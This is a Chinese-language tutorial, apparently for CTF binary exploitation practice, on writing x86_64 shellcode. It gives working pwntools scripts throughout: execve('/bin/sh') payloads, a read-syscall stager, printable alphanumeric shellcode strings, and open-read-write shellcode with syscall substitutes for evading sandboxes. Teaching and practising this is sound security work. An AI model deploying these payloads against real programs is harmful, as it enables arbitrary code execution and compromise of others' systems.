shellcode进阶之手写shellcode
字数 1619 2025-08-23 18:31:25
Shellcode进阶之手写Shellcode教学文档
一、Shellcode基础概念
Shellcode是一段机器码,通过漏洞程序产生的非法执行造成泄露、提权、getshell等危害。通常通过编译汇编语言来得到对应机器码。
二、常用汇编指令(x86_64架构)
基本指令
pop 寄存器名:将栈中的下一个4/8字节数的地址弹入对应寄存器push 数字或寄存器:将对应数字/寄存器值压入栈mov 寄存器a, (数字或寄存器):赋值操作xor 寄存器a, (数字或寄存器):异或操作add 寄存器a, (数字或寄存器):加法操作sub 寄存器a, (数字或寄存器):减法操作syscall:x64系统调用命令(机器码为\x0f\x05)int 0x80:x86系统调用命令ret:相当于pop eip
寄存器用途
直接参与系统调用的寄存器
- RAX:系统调用号
- RDI:第1参数
- RSI:第2参数
- RDX:第3参数
- R10:第4参数
- R8:第5参数
- R9:第6参数
间接参与系统调用的寄存器
- RSP:栈顶指针
- RBP:栈底指针
- RIP:指令指针
基本不参与系统调用的寄存器
- RBX、R11、R12、R13、R14、R15
注意事项
- 指令要与操作系统位数匹配
- 寄存器位数要一致
- 不能出现如
MOV RAX, EDI等寄存器位数不对等的情况
三、Shellcode编写实践
1. 基本Shellcode编写
目标:调用execve("/bin/sh\x00",0,0)
实现步骤:
- 将
/bin/sh\x00转换为16进制ASCII码(注意小端序):0x0068732f6e69622f - 将值存入寄存器并压栈
- 将RSP赋值给RDI(第1参数)
- 设置RSI和RDX为0(第2、3参数)
- 设置RAX为59(execve系统调用号)
- 执行syscall
示例代码:
from pwn import *
context.log_level = 'debug'
context(os='linux', arch='amd64')
io = process('./test')
shellcode = asm('''
mov rbx, 0x0068732f6e69622f
push rbx
mov rdi,rsp
mov rsi,0
mov rdx,0
mov rax,59
syscall
''')
io.sendafter(':\n', shellcode)
io.interactive()
2. Shellcode精简技巧
优化方法:
- 用
push+pop代替mov(节省字节)- 如
mov rax,rdi→push rdi; pop rax
- 如
- 用
xor清零寄存器xor esi,esi代替mov rsi,0
优化后代码:
shellcode = asm('''
mov rbx, 0x0068732f6e69622f
push rbx
push rsp
pop rdi
xor esi,esi
xor edx,edx
push 59
pop rax
syscall
''')
长度从0x25字节缩短到0x16字节
3. Reread技术
当字节数不足时,可以先构造read系统调用读入更多数据
实现思路:
构造read(0,addr,len)系统调用
示例代码:
rea = asm('''
push rax
pop rsi
xor edi,edi
push r11
pop rdx
xor eax,eax
syscall
''')
长度仅0xb字节
完整利用:
from pwn import *
context.log_level = 'debug'
context(os='linux', arch='amd64')
io = process('./test2')
shellcode = asm('''
mov rbx, 0x0068732f6e69622f
push rbx
push rsp
pop rdi
xor esi,esi
xor edx,edx
push 59
pop rax
syscall
''')
rea = asm('''
push rax
pop rsi
xor edi,edi
push r11
pop rdx
xor eax,eax
syscall
''')
io.sendafter(':\n', rea)
io.send(b'a'*0xb + shellcode)
io.interactive()
四、纯ASCII字符Shellcode
1. 限制条件
只能使用可见ASCII字符(a-z, A-Z, 0-9)
2. 实现技巧
- 利用NULL字符被解析成的
add byte ptr [rax], al指令 - 利用libc函数地址低字节偏移不变特性
- xor+add组合运算
- push+ret实现流程控制
- jz指令实现短跳
3. 示例Shellcode
32位:
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA
64位:
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
五、ORW Shellcode
1. 应用场景
当沙箱禁用execve时,使用open-read-write组合实现任意读写
2. 调用链示例
open('./flag\x00',0,0) → read(0,adr,len) → write(1,adr,len)
3. 模板代码
shellcode = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
4. 替代函数
- open替代:fopen、creat、openat、fopen64、open64、freopen
- read替代:pread、readv、preadv、splice、sendfile、mmap
- write替代:pwrite、send、writev
六、总结
- Shellcode编写需要扎实的汇编基础
- 掌握寄存器使用和系统调用参数传递规则
- 灵活运用各种优化技巧缩减Shellcode大小
- 针对不同限制条件(如纯ASCII字符)有相应的解决方案
- 沙箱环境下可使用ORW等技术绕过限制